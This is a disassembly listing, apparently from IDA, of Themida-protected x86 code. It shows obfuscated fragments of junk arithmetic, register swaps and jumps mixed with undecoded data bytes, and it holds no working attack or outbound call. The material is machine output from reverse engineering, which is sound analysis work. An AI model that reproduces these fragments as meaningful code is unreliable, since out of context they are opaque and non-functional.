loc_55DB7B:				; CODE XREF: Themida_:00558BD5j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_558ED4
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 2F32E981h, 0F6E94FC9h, 2DFFFF13h, 28EC3756h,	81243C8Bh
		dd 4ECh, 24348900h, 0C681E689h,	4, 4C681h, 34870000h, 0BA525C24h
		dd 2, 72E9D001h, 89FFFF67h, 0E954242Ch,	0FFFFF669h
; ---------------------------------------------------------------------------


loc_55DBCC:				; CODE XREF: Themida_:0055F8A3j
		mov	ebx, esp
		push	ecx
		push	ebx
		push	6C78h
		mov	[esp], esi
		mov	esi, 7CED19E1h
		inc	esi
		neg	esi
		push	ecx
		mov	ecx, 0FA96493h
		and	esi, ecx
		pop	ecx
		jmp	loc_54DE59
; ---------------------------------------------------------------------------
		dw 3489h
		dd 4B85024h, 0E934F34Bh, 0FFFF1A5Dh, 0FF01C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC01:				; CODE XREF: Themida_:005619B7j
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_55466E
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E7895724h, 0FFD7DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC1D:				; CODE XREF: Themida_:0055A71Ej
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5523D5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 556761BCh, 71E4C381h, 0EB814617h, 0BCE86D4Ch, 0FFDD89E9h
		dd 34895CFFh, 81E68924h, 4C6h, 9FE95100h, 81000000h, 0D54C9C7h
		dd 478BE989h, 433FFFFh,	24248B24h, 9C2404D2h, 0FF0158E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC6D:				; CODE XREF: Themida_:0055951Bj
		mov	ebp, 648C24D8h
		not	ebp
		jmp	loc_55EDE6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFFE77h, 4BFh, 2E252D00h, 0C3E962E4h
		dd 29FFFF07h, 42A02DF8h, 34FF549Bh, 0C4815F24h,	4, 0FF66C331h
		dd 117E930h, 0F308FFFFh, 7BCB805Ah, 5E9EBD0h, 6600003Bh
		dd 5724048Bh, 4D1468h, 24248900h, 4BD55h, 6C010000h, 0FF5D0424h
		dd 0E95F2434h, 0FFFFED48h, 0BE243489h, 4, 0FF75BEE9h, 248B66FFh
		dd 0D3E924h, 2B9FFFFh, 1000000h, 240C8BCEh, 4C481h, 92680000h
		dd 0E9000073h, 0FFFF2E37h, 66D8F766h, 667B2F0Dh, 0E9650F05h
		dd 2B7Eh, 7C3D68h, 241C8900h, 0FF6C99E9h, 0C1068FFh, 0FE90000h
		dd 5600003Ah, 6E13C0BEh, 8BF00917h, 0C4832434h,	0B810504h
		dd 9E052A0Dh, 5676039Ch, 0FF4EC6E9h, 0C2635FFh,	0C2014578h
		dd 81C20158h, 8C27A3EAh, 55E95869h, 87FFFF26h, 895C2434h
		dd 0BD552414h, 2E783922h, 0D867FBBAh, 5DEA311Dh, 0A12BC281h
		dd 0D601CC5Fh, 916E9h, 24248B00h, 3302EA83h, 14312414h
		dd 24143324h, 0FF1B2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD9D:				; CODE XREF: Themida_:00559EEAj
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_550A08
; ---------------------------------------------------------------------------


loc_55DDC9:				; CODE XREF: Themida_:00560B68j
		push	0
		sub	dword ptr [esp], 7E144299h
		add	dword ptr [esp], 0F390764h
		sub	dword ptr [esp], 1D7548BAh
		sub	[esp], ebx
		jmp	loc_556DE3
; ---------------------------------------------------------------------------


loc_55DDEB:				; CODE XREF: Themida_:0055CB72j
		add	ebp, esi
		jmp	loc_54F109
; ---------------------------------------------------------------------------
		dw 0C289h
		dd 8BD70158h, 0C4832414h, 55CF0104h, 0FF601DBDh, 7FB1E973h
		dd 0C481FFFFh, 4, 4280E955h, 0F5290000h, 1C30ED81h, 0B2E92F28h
		dd 0F7FFFF75h, 4BE381DBh, 0F7605F70h, 8FF381D3h, 29D82C82h
		dd 0E9015BD9h, 0E904EC83h, 0FFFF0FF3h, 5D240CFFh, 48EEC581h
		dd 0C3810D6Fh, 6B181332h, 0EB81EB29h, 6B181332h, 81242C8Bh
		dd 4C4h, 381EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE66:				; CODE XREF: Themida_:005578AEj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_55B999
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9512404h, 0FFFFE320h, 80E9FA01h, 5F000043h, 4C481h
		dd 0B9E90000h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE93:				; CODE XREF: Themida_:00554BD4j
		cmp	eax, edx
		jz	loc_55F7B0
		push	4565h
		jmp	loc_5620F9
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8104C483h, 4C3h, 241C8700h, 0FF5E5AE9h, 4B951FFh, 29000000h
		dd 40E8E9CDh, 0BF57FFFFh, 486A7543h, 0E95FFB29h, 0FFFF6D14h
; ---------------------------------------------------------------------------


loc_55DED4:				; CODE XREF: Themida_:00556510j
		mov	ebp, 3E5714ADh
		jmp	loc_551B25
; ---------------------------------------------------------------------------


loc_55DEDE:				; CODE XREF: Themida_:0054FBB6j
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5539A9
; ---------------------------------------------------------------------------
		dd 0E9240487h, 1FBCh
; ---------------------------------------------------------------------------


loc_55DF18:				; CODE XREF: Themida_:0055A1A0j
		add	eax, 9BE5EEBh
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]


loc_55DF29:				; CODE XREF: Themida_:0055F7EDj
		push	47CFh
		jmp	loc_551E13
; ---------------------------------------------------------------------------


loc_55DF33:				; CODE XREF: Themida_:0055A294j
		xchg	esi, ebp
		inc	esi
		xchg	esi, ebp
		jmp	loc_551C58
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 0F2h
		dd 0FFDC8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DF45:				; CODE XREF: Themida_:0055848Ej
		add	esp, 4
		pop	bx
		push	dx
		mov	dl, 22h
		xor	cl, dl
		jmp	loc_557322
; ---------------------------------------------------------------------------
		dd 33240431h, 895C2404h, 5A582414h, 38F0EA81h, 0C20103EEh
		dd 0FFC9C6E9h, 1AE958FFh
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF77:				; CODE XREF: Themida_:0055A744j
		pop	esi
		jmp	loc_560B4F
; ---------------------------------------------------------------------------


loc_55DF7D:				; CODE XREF: Themida_:00553E40j
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, 7ADE3E13h
		add	edx, edi
		sub	edx, 7ADE3E13h
		jmp	loc_558D4B
; ---------------------------------------------------------------------------


loc_55DF9C:				; CODE XREF: Themida_:0055EB76j
		add	ebp, 6CD351BBh
		not	ebp
		inc	ebp
		jmp	loc_56181C
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 695A9F05h, 174AE948h, 0B753FFFFh, 0C0C7FEC1h, 0B55108EFh
		dd 59EF08FAh, 0C02BB151h, 0C98008E9h, 0CE180D8h, 0E980D9F6h
		dd 0AA4FE95Eh, 0F768FFFFh, 8900002Bh, 61E92414h, 0B9FFFF9Eh
		dd 4, 335DE9h, 24048F00h, 0FF514DE9h, 0D68959FFh, 0F1BE9h
		dd 0D9C28100h, 52412A27h, 5A2414F7h, 2442BE56h,	0F20913E3h
		dd 0CBE2815Eh, 0E90A4226h, 0FFFFEA38h, 2C78F8BAh, 5EAC134h
		dd 5AB7E281h, 0F3E956F6h, 1FFFF3Bh, 9BC581F5h, 5E2FBB69h
		dd 81E68956h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFD649h
; ---------------------------------------------------------------------------


loc_55E050:				; CODE XREF: Themida_:0055C90Bj
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5597FF
; ---------------------------------------------------------------------------


loc_55E05A:				; CODE XREF: Themida_:0054E8AFj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shl	ebx, 2
		xor	ebx, 36C341ADh
		dec	ebx
		push	ecx
		mov	ecx, 13872EC6h
		push	edi
		mov	edi, 5142169Bh
		inc	edi
		jmp	loc_54E7DE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0CF5AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E08E:				; CODE XREF: Themida_:0055A35Fj
		pop	ebx
		push	edx
		jmp	loc_5534D5
; ---------------------------------------------------------------------------


loc_55E095:				; CODE XREF: Themida_:00554A47j
		add	edi, 303C1A23h
		pop	ebp
		jmp	loc_54F23D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 33h
		dd 121FD09h, 26F6E9C3h,	0EA290000h, 102C281h, 0E95D6A98h
		dd 0FFFFEF2Fh, 0EA814A5Bh, 79E7E844h, 148BD709h, 4C48124h
		dd 53000000h, 0F32928BBh, 8DC38120h, 1F264FBh, 241C8BDFh
		dd 0FF180FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E0E5:				; CODE XREF: Themida_:005508CDj
		sub	esi, eax
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5622A4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 4C48358h, 0FF3B44E9h, 0EC8151FFh
		dd 4, 0B8240489h, 7350BB5Dh, 5558C189h,	0FF44B7E9h, 4FE95AFFh
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E123:				; CODE XREF: Themida_:0055AB01j
		pop	esi
		not	esi
		xchg	esi, ebx
		jmp	loc_55D23B
; ---------------------------------------------------------------------------
		db 2Dh,	51h, 28h
		dd 0A005798Ah, 0F77AC008h, 0F14405D8h, 2E94CFDh, 89FFFFAFh
		dd 4C281E2h, 81000000h,	4C2h, 9B9DE900h, 8953FFFFh, 0C3F8E9E3h
		dd 0EF81FFFFh, 1C5C3547h, 815FFE01h, 4C6h, 4EC8300h, 0FF243489h
		dd 0FF042474h, 348B2434h, 4C48324h, 6FDE9h, 0D4ED8100h
		dd 812AB24Bh, 0E90BCFC1h, 90685347h, 0E940246Ah, 0FFFF3D2Ah
; ---------------------------------------------------------------------------


loc_55E19C:				; CODE XREF: Themida_:005536A7j
		pop	esi
		jmp	loc_550991
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFF5D33h
; ---------------------------------------------------------------------------


loc_55E1A8:				; CODE XREF: Themida_:005551B9j
		pop	edi
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 47F5313Fh
		jmp	loc_55FAB9
; ---------------------------------------------------------------------------
		dd 0FEFC04E9h, 240C89FFh, 22204CB9h, 0A9BD5504h, 504CC530h
		dd 5C2B50B8h, 58C5010Eh, 0EFC4C581h, 0EA29C09Ah, 8D14E95Dh
		dd 0E929FFFFh, 81D1015Dh, 9763CDC1h, 0E9525A0Ch, 0DA5h
		dd 0E781EFD1h, 7FFE4DA4h, 9C54C781h, 81576900h,	47D82434h
		dd 81590FCCh, 0CC47D8F1h, 0CA315F0Fh, 5BA06859h, 1C890000h
		dd 0E9D38924h, 0FFFFFAF4h, 77E95966h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E22F:				; CODE XREF: Themida_:00561CA8j
		push	ebp
		mov	ebp, esi
		push	ebp
		push	ebp
		push	edx
		jmp	loc_54F457
; ---------------------------------------------------------------------------


loc_55E23A:				; CODE XREF: Themida_:0055166Bj
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 0ADh
		dd 5652D831h, 3F16A7BEh, 76E9504Bh, 25FFFF6Fh, 1F37585Dh
		dd 99D5A905h, 8BC3016Eh, 89502404h, 7B39E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E266:				; CODE XREF: Themida_:0055616Dj
		push	ecx
		push	2FD3h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56290D
; ---------------------------------------------------------------------------


loc_55E276:				; CODE XREF: Themida_:00556CE1j
		mov	[esp], ebp
		push	edx
		pop	ebp
		jmp	loc_5508A6
; ---------------------------------------------------------------------------
		dd 4C481h, 0F8300000h, 0FF8D10E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E28D:				; CODE XREF: Themida_:00555000j
		sub	ebx, 747923D3h
		jmp	loc_5609AD
; ---------------------------------------------------------------------------


loc_55E298:				; CODE XREF: Themida_:0055FA40j
		mov	ebp, 4
		push	edi
		mov	edi, 6D8922B6h
		sub	edx, edi
		jmp	loc_55A7CD
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0B55135F2h, 6C580F8h, 0FF04BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E2B9:				; CODE XREF: Themida_:0055B2C1j
		pop	esi
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_550C8B
; ---------------------------------------------------------------------------


loc_55E2CB:				; CODE XREF: Themida_:005508A9j
		xor	ebp, ebx
		xor	ebx, ebp
		jmp	loc_558A3F
; ---------------------------------------------------------------------------
		dd 51240C8Bh, 0C181E189h, 4, 0FF195DE9h, 4C583FFh, 31242C33h
		dd 0EEE9242Ch, 89000016h, 4BF243Ch, 1000000h, 243C8BF8h
		dd 0E904C483h, 0FFFF9D13h
; ---------------------------------------------------------------------------


loc_55E308:				; CODE XREF: Themida_:0055CF64j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	1
		mov	esi, [esp]
		push	edi
		jmp	loc_55B2AE
; ---------------------------------------------------------------------------
		db 30h
		dd 2434FFF8h, 81241C8Bh, 4C4h, 4C48100h, 88000000h, 3B27E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E352:				; CODE XREF: Themida_:00555D61j
		push	ebx
		mov	bh, 0ADh
		mov	ah, bh
		pop	ebx
		jmp	loc_552DC3
; ---------------------------------------------------------------------------


loc_55E35D:				; CODE XREF: Themida_:00554562j
		push	ebp
		push	20E3668Dh
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		push	43C12ED8h
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, 2D6334DAh
		shl	ebx, 5
		neg	ebx
		neg	ebx
		jmp	loc_54DEF0
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 3496F02h, 4E4EF781h,	0FE31729Dh, 8BF7895Fh, 0C4832434h
		dd 59C58104h, 0E96BDF66h, 0FFFF3FE4h
; ---------------------------------------------------------------------------


loc_55E3AC:				; CODE XREF: Themida_:0055293Fj
		pop	eax
		mov	cl, bl
		jmp	loc_55AB7B
; ---------------------------------------------------------------------------


loc_55E3B4:				; CODE XREF: Themida_:00551118j
		inc	esi
		xor	esi, 986FF5C5h
		sub	eax, 1E701260h
		sub	eax, esi
		jmp	loc_559A52
; ---------------------------------------------------------------------------


loc_55E3C7:				; CODE XREF: Themida_:0055BA0Ej
		xor	edi, 37056D56h
		pop	edx
		sub	edi, 5C544296h
		jmp	loc_554B9D
; ---------------------------------------------------------------------------
aD9aSI		db '¸„9a"S»©',0
		dw 607h
		dd 7DE9DD89h, 28FFFF13h, 0C38059CBh, 240C8B77h,	4C481h
		dd 1AE90000h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E3FF:				; CODE XREF: Themida_:0055F7DDj
		push	cx
		mov	ch, 53h
		shl	ch, 2
		not	ch
		dec	ch
		shl	ch, 4
		sub	ch, 5Bh
		jmp	loc_5617CE
; ---------------------------------------------------------------------------


loc_55E415:				; CODE XREF: Themida_:0055D78Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558411
; ---------------------------------------------------------------------------


loc_55E42C:				; CODE XREF: Themida_:00561D53j
		add	ecx, esi
		pop	esi
		push	ecx
		mov	ecx, esp
		jmp	loc_55671D
; ---------------------------------------------------------------------------
		db 5
		dd 66EC329Eh, 9E2DD829h, 566EC32h, 59B72ED7h, 5B2434FFh
		dd 0D6E95450h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E453:				; CODE XREF: Themida_:00560ECEj
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5544A6
; ---------------------------------------------------------------------------


loc_55E460:				; CODE XREF: Themida_:00562397j
		pop	ax
		push	eax
		push	ebx
		mov	bl, 0B5h
		mov	al, bl
		pop	ebx
		push	ebx
		mov	bl, 0A0h
		jmp	loc_55293A
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aSu		db '$éî%',0
		align 2
		dw 0FBBFh
		dd 817D2854h, 0D97702EBh, 81FB2904h, 0D97702C3h, 0EC835F04h
		dd 24148904h, 3C709CBAh, 1EEA8171h, 0F75BDF61h,	87E950D2h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E4BF:				; CODE XREF: Themida_:0055B655j
		mov	ecx, esp
		jmp	loc_55593C
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 391EF581h, 0F5816FBAh, 17434E1Eh, 88AFED81h,	0E95570EEh
		dd 0FFFF6123h, 6B06859h, 1C890000h, 62C3BB24h, 0D3F76762h
		dd 51FFEB83h, 5F1D65B9h, 0F9E9413Dh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4FF:				; CODE XREF: Themida_:0055B7F5j
		add	edi, 40FA0501h
		xor	edi, 6E297BCBh
		dec	edi
		xor	edi, 28374AE3h
		mov	ebx, edi
		pop	edi
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54E9F1
; ---------------------------------------------------------------------------
		db 58h,	89h, 0DAh
		dd 59B8505Bh, 567B8F06h, 707DB9BEh, 4B7BE93Bh, 0E9ACFFFFh
		dd 0FFFFE5EDh, 352BF57h, 0EFC13562h, 83F78102h,	312244DBh
		dd 243C8BFBh, 5304C483h, 0F353E6BBh, 0B6C0E97Ah, 0D168FFFFh
		dd 8900000Ch, 0E389241Ch, 0FFE2D3E9h, 2A482DFFh, 2C8B2F8Dh
		dd 4C48124h, 87000000h,	75E92404h, 83FFFFC3h, 0C6E904E8h
		dd 5AFFFF4Bh, 3157E9h, 242C8B00h, 81E18951h, 4C1h, 4C18300h
		dd 5C240C87h, 4EC81h, 3C890000h, 4BF24h, 0F8010000h, 0FF267CE9h
		dd 59C829FFh, 4EE9C731h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E5C3:				; CODE XREF: Themida_:0055D27Aj
		pop	esi
		jmp	loc_560493
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241C89h, 0FEh, 0DF89575Bh,	242C8157h, 32727F88h, 0D52E95Ah
		dd 535D0000h, 4D2BF57h,	3EE94FE3h, 5D00002Eh, 630BCF81h
		dd 0F1E901B4h, 6800000Fh, 27C6h, 0B9240C89h, 2,	2EC468h
		dd 124E900h, 0BA52FFFFh, 1, 39E9D701h, 56FFFFB0h, 28E9E689h
		dd 68FFFF39h, 40h, 0FF457CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E635:				; CODE XREF: Themida_:0055183Cj
		sub	ecx, eax
		mov	eax, [esp]
		push	5DABh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_552AB5
; ---------------------------------------------------------------------------


loc_55E658:				; CODE XREF: Themida_:0055EF17j
		mov	ecx, 2F9042EEh
		sub	edx, ecx
		pop	ecx
		jmp	loc_551716
; ---------------------------------------------------------------------------


loc_55E665:				; CODE XREF: Themida_:00550398j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esi
		push	edx
		push	4CAD4AFBh
		pop	edx
		jmp	loc_5557B5
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: Themida_:00561B70j
		pop	edi
		and	esi, edi
		pop	edi
		jmp	loc_551759
; ---------------------------------------------------------------------------
		db 81h
		dd 6A1BB3C2h, 81F22949h, 6A1BB3EAh, 1CF16849h, 22E90000h
		dd 5AFFFFFBh, 4BD55h, 0C1E90000h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E6AB:				; CODE XREF: Themida_:005511E1j
		push	2566h
		mov	[esp], edx
		jmp	loc_54F76F
; ---------------------------------------------------------------------------
		dd 0DB2EF181h, 0EAE9DA06h, 0BE000040h, 184C258Fh, 65C6BA52h
		dd 0D60946F9h, 0A98BE95Ah, 1C8BFFFFh, 4C48324h,	0FFBA42E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E6E1:				; CODE XREF: Themida_:0055047Ej
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 36273EBFh
		mov	ecx, eax
		jmp	loc_55B5FB
; ---------------------------------------------------------------------------


loc_55E6F8:				; CODE XREF: Themida_:0055A9C6j
		pop	eax
		pop	edx
		jmp	loc_5576AC
; ---------------------------------------------------------------------------
		db 89h
		dd 91E92404h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E707:				; CODE XREF: Themida_:00559BAEj
		pop	ebx
		push	ecx
		mov	ecx, 5CDB258Eh
		neg	ecx
		xor	ecx, 0A324DA76h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		not	edi
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_554E36
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0BB530000h, 4, 5C2DC581h, 0DD290F67h, 0FF6607E9h
		dd 52E389FFh, 4BAh, 5AD30100h, 0FF1149E9h, 240481FFh, 4
		dd 0FF4CA6E9h, 2434FFFFh, 4EC8158h, 89000000h, 0E189240Ch
		dd 11BCBD55h, 0EDC1393Dh, 0C4F58105h, 814E0D32h, 9B4B10EDh
		dd 33B2E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E79E:				; CODE XREF: Themida_:00552D92j
		pop	edx
		add	eax, 6F7F7940h
		push	edi
		mov	edi, 3DE86C42h
		jmp	loc_554782
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 4244C01h,	4055859h, 68000000h, 404Fh, 0FFA630E9h
		dd 241489FFh, 42474FFh,	8324148Bh, 48F04C4h, 11ECE924h
		dd 0E5B90000h, 81114569h, 951518C9h, 81D9F71Ch,	7240E0C9h
		dd 8E9C17Ah, 72E98149h,	31869C00h, 0E82959CDh, 2434FF5Dh
		dd 0FF5D8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E809:				; CODE XREF: Themida_:0055444Bj
		not	edi
		xchg	eax, edi
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_562528
; ---------------------------------------------------------------------------
		db 87h
		dd 2FE9241Ch, 0FF000018h, 34FF2434h, 0C4815A24h, 4, 89868h
		dd 24048900h, 815E5456h, 4C6h, 4EE8300h, 5C243487h, 51242489h
		dd 0FFFF62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E84D:				; CODE XREF: Themida_:00555540j
		or	ecx, 45293FCEh
		shl	ecx, 8
		push	ebp
		mov	ebp, 25481B51h
		push	edx
		mov	edx, 119E6A57h
		xor	ebp, edx
		jmp	loc_55A0DA
; ---------------------------------------------------------------------------
		db 64h,	88h, 2
		dd 0FEF554E9h, 0A1B951FFh, 315C2EE5h, 0D30159CAh, 5443E95Ah
		dd 0DF68FFFFh, 8900005Bh, 0E0892404h, 405h, 4C08300h, 5C240487h
		dd 8B24048Fh, 89562424h, 194868E6h, 4890000h, 3967B824h
		dd 0A9E91974h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E8B3:				; CODE XREF: Themida_:0055FDA1j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F2D5
; ---------------------------------------------------------------------------
		dd 89242C89h, 4C581E5h,	81000000h, 4EDh, 242C3300h, 0E9242C31h
		dd 0FFFFD84Eh, 5B6A8B0Dh, 30BD5510h, 313CE92Ch,	9A2D5DE8h
		dd 0D671B20h, 0E771C7Ch, 0FFB61DE9h, 5FFD09FFh,	0FF0A5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E8FD:				; CODE XREF: Themida_:005625EEj
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		jmp	loc_5564FE
; ---------------------------------------------------------------------------
		db 1
		dd 85E958C7h, 59FFFF4Ch, 575FF989h, 6B7F21BFh, 5FFA296Dh
		dd 0C281CA29h, 6D6B7F21h, 24148759h, 0B69AE95Ch, 0EEB9FFFFh
		dd 0C107C125h, 0F18107E9h, 4E980872h, 19FFC981h, 0CAE97FEFh
		dd 87000028h, 895C243Ch, 2BB241Ch, 1000000h, 90685BDAh
		dd 0E900001Ch, 0FFFF9954h
; ---------------------------------------------------------------------------


loc_55E960:				; CODE XREF: Themida_:00553C7Cj
		mov	[esp], ebp
		mov	ebp, 7193371Ah
		jmp	loc_560B3E
; ---------------------------------------------------------------------------


loc_55E96D:				; CODE XREF: Themida_:0055AC6Fj
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_55E979:				; CODE XREF: Themida_:005575CAj
		mov	ebp, 0E654CF7h
		push	ebp
		add	dword ptr [esp], 19720CB0h
		pop	ecx
		jmp	loc_551824
; ---------------------------------------------------------------------------
		dd 731BA66h, 176AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E995:				; CODE XREF: Themida_:0055255Bj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_561307
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4EE92404h, 81FFFFCBh, 0A4CB8BC1h, 59CA09E2h,	0FF1EDBE9h
		dd 4BB53FFh, 1000000h, 34875BDEh, 0C3305C24h, 66C0B60Fh
		dd 0E987048Fh, 0FFFEF3F5h, 0F75EF289h, 11EA81DAh, 0E9102B23h
		dd 6F4h
; ---------------------------------------------------------------------------


loc_55E9E0:				; CODE XREF: Themida_:0055C774j
		pop	ebp
		push	esi
		jmp	loc_5619AF
; ---------------------------------------------------------------------------


loc_55E9E7:				; CODE XREF: Themida_:0055ED01j
		add	esp, 4
		sub	[edi+24h], eax
		push	dword ptr [esp]
		jmp	loc_553E27
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4682404h,	58000000h, 5BBAC381h, 0C3010683h
		dd 5BBAEB81h, 0E9580683h, 0FFFF6F68h
; ---------------------------------------------------------------------------


loc_55EA18:				; CODE XREF: Themida_:0054E735j
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		jmp	loc_55B436
; ---------------------------------------------------------------------------
		dw 92E9h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55EA33:				; CODE XREF: Themida_:0055243Aj
		not	edx
		jmp	loc_550149
; ---------------------------------------------------------------------------
		dw 0FFBFh
		dd 81FFFFFFh, 0E17399C3h, 8BF5749h, 109CF11h, 0EB815FFBh
		dd 8C52591h, 0C381FB29h, 8C52591h, 1108EB81h, 58E909CFh
		dd 81000035h, 7004246Ch, 0E95BB545h, 0FFFF2492h, 0BD554Eh
		dd 29000000h, 5DEE87F5h, 420DB951h, 0D9F75EDCh,	0A2E98141h
		dd 0E92D3078h, 0FFFFD436h, 4BAh, 5AD12900h, 0FFB57BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EAA1:				; CODE XREF: Themida_:0055165Aj
		xor	edi, 0FDEBB257h
		jmp	loc_551DA3
; ---------------------------------------------------------------------------


loc_55EAAC:				; CODE XREF: Themida_:00552CC9j
		sub	dh, ch
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5545A3
; ---------------------------------------------------------------------------


loc_55EAB8:				; CODE XREF: Themida_:005583E1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	2310h
		mov	[esp], ebp
		mov	ebp, 3D7E55EEh
		push	ecx
		mov	ecx, 636D2932h
		jmp	loc_551ED4
; ---------------------------------------------------------------------------
		db 5
		dd 7AC8145Ah, 7FEE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EAE2:				; CODE XREF: Themida_:0055CA88j
		add	dword ptr [edi+20h], 34673B89h
		push	dword ptr [esp]
		jmp	loc_5622EB
